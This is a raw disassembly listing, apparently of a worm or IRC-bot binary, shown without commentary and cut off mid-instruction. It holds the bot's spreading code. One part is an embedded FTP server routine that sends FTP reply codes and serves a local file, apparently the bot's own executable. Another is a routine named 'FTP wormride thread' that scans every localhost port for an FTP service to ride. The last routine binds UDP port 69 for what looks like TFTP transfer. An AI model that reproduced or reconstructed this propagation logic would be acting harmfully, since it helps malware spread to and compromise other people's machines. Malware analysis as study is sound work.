push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DF00 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DF00 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DF00 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EBFC push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EBD8 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DB88 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C ; select test eax, eax jle 